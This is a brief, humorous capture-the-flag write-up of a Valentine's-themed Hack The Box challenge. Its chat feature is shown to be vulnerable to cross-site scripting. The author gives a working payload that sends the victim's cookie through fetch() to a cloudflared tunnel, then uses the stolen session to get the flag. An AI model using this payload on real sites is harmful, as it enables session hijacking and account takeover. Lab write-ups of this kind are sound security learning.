Hello… It’s Valentine’s Day. Hack The Box released a new challenge. Everyone is out on dates — and I’m here with my one true love: my computer.
Hello… It’s Valentine’s Day. Hack The Box released a new challenge. Everyone is out on dates — and I’m here with my one true love: my computer.
Let’s see what this romantic masterpiece is about.
We’re greeted with a login page. Very lovely vibes. Soft colors. Cute theme. Meanwhile, I’m candle-lighting my keyboard.
I tried <h1>nice</h1> — and it worked.
Ah. Beautiful. The chat is XSS vulnerable.
Time to open the terminal.
shell 1 : python -m http.server 8000
shell 2 : cloudflared tunnel --url http://localhost:8000
and send payload <script>fetch("<cloudflared-url>?cookie=" + document.cookie)</script>
Yes, I could’ve just done alert(document.cookie).
But no — if I’m spending Valentine’s with my computer, we’re doing it properly.
I changed the session using cookie-editor.
And there it was. The flag.
Happy Valentine’s Day.
